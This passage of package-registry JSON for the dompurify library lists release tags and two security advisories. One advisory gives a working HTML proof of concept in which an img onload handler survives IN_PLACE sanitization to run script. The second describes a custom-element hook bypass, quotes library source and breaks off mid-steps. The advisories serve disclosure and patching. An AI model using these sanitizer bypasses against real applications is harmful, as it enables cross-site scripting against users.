.8.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.8/manifests"},{"name":"0.8.7","sha":"da2484d19b61b5eb35a8dad3460f0b193ac8cb2c","kind":"commit","published_at":"2017-04-25T07:45:59.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.7/manifests"},{"name":"0.8.6","sha":"b317725c72a3af14ee3aa3d6d61e5286bb917572","kind":"commit","published_at":"2017-04-21T13:40:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.6/manifests"},{"name":"0.8.5","sha":"4222069a807a819dc6cb0a6cc0a1b99ef1ca4c56","kind":"commit","published_at":"2017-02-07T13:13:51.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.5/manifests"},{"name":"0.8.4","sha":"9be8f9def3124ccf2db71b7711027b55f9b90f48","kind":"commit","published_at":"2016-11-02T11:27:55.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.4/manifests"},{"name":"0.8.3","sha":"aeff130200ccb13de255847e62a9c01d862c351f","kind":"commit","published_at":"2016-08-18T14:55:32.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.3/manifests"},{"name":"0.8.2","sha":"d9c3bef885888074a544a8310d17deb74bf778d3","kind":"commit","published_at":"2016-06-09T16:13:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.2/manifests"},{"name":"0.8.1","sha":"e1980deca341420b106792b76fef81fcd8ffad55","kind":"commit","published_at":"2016-06-06T11:19:59.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.1/manifests"},{"name":"0.8.0","sha":"7aa9772fe25bc0b51dac9e381e5142cd5ed2fa16","kind":"commit","published_at":"2016-05-24T13:19:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.0/manifests"},{"name":"0.7.4","sha":"75e108809a90749417e375193531f7305f647cd4","kind":"commit","published_at":"2016-02-17T13:26:02.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.4/manifests"},{"name":"0.7.3","sha":"eb3735607e1dc6dc40d2e3c98ffe03cd898aa6b1","kind":"commit","published_at":"2015-11-25T13:54:11.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.3/manifests"},{"name":"0.7.2","sha":"c8014de5831ce6919cad57b3159ac0fef1264c00","kind":"commit","published_at":"2015-10-17T19:46:14.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.2/manifests"},{"name":"0.7.1","sha":"fac1062503fd62efbde438680bc1cbc4eb0b621f","kind":"commit","published_at":"2015-10-02T09:01:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.1/manifests"},{"name":"0.7.0","sha":"555114d66fbab5e5b5019e6340792afee5ae5e17","kind":"commit","published_at":"2015-09-22T09:48:07.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.0/manifests"},{"name":"0.6.7","sha":"4fb4fbd16ba3db88c0cd024950534069f6900502","kind":"commit","published_at":"2015-09-17T12:45:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.7/manifests"},{"name":"0.6.6","sha":"6c15eff8e194a8b4f3fd53f73a33d8b1012c88f8","kind":"commit","published_at":"2015-09-15T09:11:20.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.6/manifests"},{"name":"0.6.5","sha":"0a4a0cd1e2f63e6ff777a53d9519459c9239e38b","kind":"commit","published_at":"2015-08-04T12:59:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.5/manifests"},{"name":"0.6.4","sha":"b8b3ab6530f0da9037cf73dfe7a95fcc9a105ecd","kind":"commit","published_at":"2015-05-25T11:39:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.4/manifests"},{"name":"0.6.3","sha":"df25a9cb0bd1538266cace4ed8c0955556ff3d46","kind":"commit","published_at":"2015-04-07T13:55:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.3/manifests"},{"name":"0.6.2","sha":"eff80b05eb28f6e9bbfe10adbdaa0008b3986058","kind":"commit","published_at":"2015-03-31T13:41:51.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.2/manifests"},{"name":"0.6.1","sha":"36e1bf63d405ac2b90a26ebe6f37deb58978a04e","kind":"commit","published_at":"2015-02-23T08:42:58.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.1/manifests"},{"name":"0.6.0","sha":"e5735cd4f8394cd555e8f1f2cc9f9f0958dc4d16","kind":"commit","published_at":"2015-02-16T12:55:29.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.0/manifests"},{"name":"0.4.5","sha":"d2d3130881f1a2b91015ff1af4e4172bc0d9c97d","kind":"commit","published_at":"2015-01-16T12:16:03.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.5/manifests"},{"name":"0.4.4","sha":"2f562ba382ac1ab67afaac8ef8034ee2a8a0afe9","kind":"commit","published_at":"2014-10-13T11:22:26.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.4/manifests"},{"name":"0.4.3","sha":"db63f5f89ad65f0e7b95ed9d96cca27ef43cec17","kind":"commit","published_at":"2014-10-04T12:36:35.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"09b707ffaa8b6b03d3cd9f873008bd3c31f2dcbb","kind":"commit","published_at":"2014-06-03T18:35:19.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.2/manifests"},{"name":"0.4","sha":"c27e5c5cb30ab26213c435a1acc6e6ebb6e6d50f","kind":"commit","published_at":"2014-05-11T12:48:46.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4/manifests"},{"name":"0.3","sha":"839915a3872dc95d148917338d5812430a6cb249","kind":"commit","published_at":"2014-04-16T11:14:13.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.3/manifests"},{"name":"v0.3","sha":"93c2331702576ceee85fd827df8af07316dea206","kind":"commit","published_at":"2014-04-05T09:31:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/v0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/v0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@v0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/v0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/v0.3/manifests"},{"name":"0.1","sha":"722fb0ad4c3d27e773fb2db4a375135e0d1538b6","kind":"commit","published_at":"2014-03-01T14:19:37.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-11T01:22:55.102Z","dependent_packages_count":1705,"downloads":230861266,"downloads_period":"last-month","dependent_repos_count":56633,"rankings":{"downloads":0.05894876796253564,"dependent_repos_count":0.12843876939723858,"dependent_packages_count":0.0449029166087127,"stargazers_count":0.9306950861971719,"forks_count":1.4237510144225978,"docker_downloads_count":0.05738811781211086,"average":0.4406874454000613},"purl":"pkg:npm/dompurify","advisories":[{"uuid":"GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu","url":"https://github.com/advisories/GHSA-55q2-fjhq-7xh7","title":"DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS","description":"### Summary\n\nDuring `IN_PLACE` sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided `onload` handler and fire after `sanitize()` returns, even though the returned root is clean and the image remains disconnected from the document.\n\n### Details\n\nIn DOMPurify 3.4.12, `_sanitizeElements()` in `src/purify.ts:1862-1904` runs the `beforeSanitizeElements` or `uponSanitizeElement` hook and returns immediately when the hook detached the current node. The return does not call `_neutralizeSubtree(currentNode)`.\n\nThe detached subtree is not added to `DOMPurify.removed`, so the post-walk `IN_PLACE` neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.\n\nThe hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.\n\n### PoC\n\nLoad the published `dompurify@3.4.12` `dist/purify.js` before this script in Chromium:\n\n```html\n\u003cdiv id=\"result\"\u003enot fired\u003c/div\u003e\n\u003cscript\u003e\nconst root = document.createElement('div');\nroot.innerHTML = `\n  \u003cfooter\u003e\n    \u003cimg src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"\n         onload=\"result.textContent = 'XSS after sanitize'\"\u003e\n  \u003c/footer\u003e\n  \u003cdiv\u003esafe\u003c/div\u003e`;\n\nDOMPurify.setConfig({\n  ALLOWED_TAGS: ['div', '#text', 'footer'],\n  IN_PLACE: true\n});\nDOMPurify.addHook('uponSanitizeElement', node =\u003e {\n  if (node.tagName === 'FOOTER') node.remove();\n});\n\nDOMPurify.sanitize(root);\ndocument.body.append(root);\n\u003c/script\u003e\n```\n\n`sanitize()` returns with no handler execution and the returned root contains only the safe `div`. After the event loop advances, the original image remains disconnected but its retained `onload` changes the page to `XSS after sanitize`.\n\nAs the claim-matched control, use the same detached input with `ALLOWED_TAGS: ['div', '#text']` and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still `\u003cdiv\u003esafe\u003c/div\u003e`, and the marker does not fire.\n\n### Impact\n\nIn an application that uses `IN_PLACE` with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.\n\nThe required non-default configuration is `IN_PLACE` plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.\n\n### Suggested fix\n\nReuse the existing `_neutralizeSubtree(currentNode)` helper before returning from both hook-detachment branches in `_sanitizeElements()`. Add regressions for `beforeSanitizeElements` and `uponSanitizeElement` that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-07T15:30:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-55q2-fjhq-7xh7","https://github.com/cure53/DOMPurify/pull/1557","https://github.com/cure53/DOMPurify/commit/3067f7746769","https://github.com/cure53/DOMPurify/releases/tag/3.4.13","https://github.com/advisories/GHSA-55q2-fjhq-7xh7"],"source_kind":"github","identifiers":["GHSA-55q2-fjhq-7xh7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-08-10T06:00:08.752Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.13","vulnerable_version_range":"\u003c= 3.4.12"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NXEyLWZqaHEtN3hoN84ABhtu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV","url":"https://github.com/advisories/GHSA-c2j3-45gr-mqc4","title":"DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.","description":"## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') \u0026\u0026\n      cfg.CUSTOM_ELEMENT_HANDLING \u0026\u0026\n      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'\n        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n        : create(null);\n\n    CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n    if (\n      FORBID_TAGS[tagName] ||\n      (!(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n      ) \u0026\u0026\n        !ALLOWED_TAGS[tagName])\n    ) {\n      return _sanitizeDisallowedNode(currentNode, tagName);\n    }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n    currentNode: any,\n    tagName: string\n  ): boolean {\n    /* Check if we have a custom element to handle */\n    if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n      ) {\n        return false;\n      }\n\n      if (\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n      ) {\n        return false;\n      }\n    }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning “do not remove this node”.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n       nodeType getter rather than `instanceof Element`, which is realm-\n       bound and short-circuits to false for any node minted in a different\n       realm — letting a foreign-realm element with a forbidden namespace\n       slip past the namespace check entirely. */\n    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n    if (nt === NODE_TYPE.element \u0026\u0026 !_checkValidNamespace(currentNode)) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don't get fallback-tag mXSS */\n    if (\n      (tagName === 'noscript' ||\n        tagName === 'noembed' ||\n        tagName === 'noframes') \u0026\u0026\n      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n    ) {\n      _forceRemove(currentNode);\n      return true;\n    }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n   /* Execute a hook if present */\n    _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after 